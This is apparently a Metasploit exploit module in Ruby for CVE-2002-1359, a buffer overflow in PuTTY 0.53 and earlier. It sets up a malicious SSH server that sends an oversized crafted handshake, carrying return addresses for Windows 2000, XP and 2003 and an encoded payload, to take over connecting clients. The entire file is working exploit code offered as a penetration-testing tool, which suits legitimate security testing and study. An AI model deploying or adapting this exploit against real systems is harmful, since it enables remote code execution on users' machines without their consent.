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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'PuTTY Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the PuTTY SSH client that is
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          triggered through a validation error in SSH.c. This vulnerability
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          affects versions 0.53 and earlier.
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        },
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        'Author' => 'MC',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2002-1359' ],
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          [ 'OSVDB', '8044'],
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          [ 'URL', 'http://www.rapid7.com/advisories/R7-0009.html' ],
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          [ 'BID', '6407'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 400,
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          'BadChars' => "\x00",
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          'MaxNops' => 0,
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
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          [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
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          [ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2002-12-16',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
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      ]
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    )
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    buffer =
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      "SSH-2.0-OpenSSH_3.6.1p2\r\n" +
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      "\x00\x00\x4e\xec\x01\x14" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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      "\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde" +
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      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 2) +
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      (((rand_text_alphanumeric(64)) + ",") * 2) + rand_text_alphanumeric(21) +
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      [target.ret].pack('V') + make_nops(10) + p.encoded +
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      (((rand_text_alphanumeric(64)) + ",") * 15) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((rand_text_alphanumeric(64)) + ",") * 21) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde" +
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      (((((rand_text_alphanumeric(64)) + ",") * 30) + rand_text_alphanumeric(64) + "\x00\x00\x07\xde") * 6) +
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      "\x00\x00\x00\x00\x00\x00"
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    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(buffer)
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    handler
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    service.close_client(client)
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  end
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end
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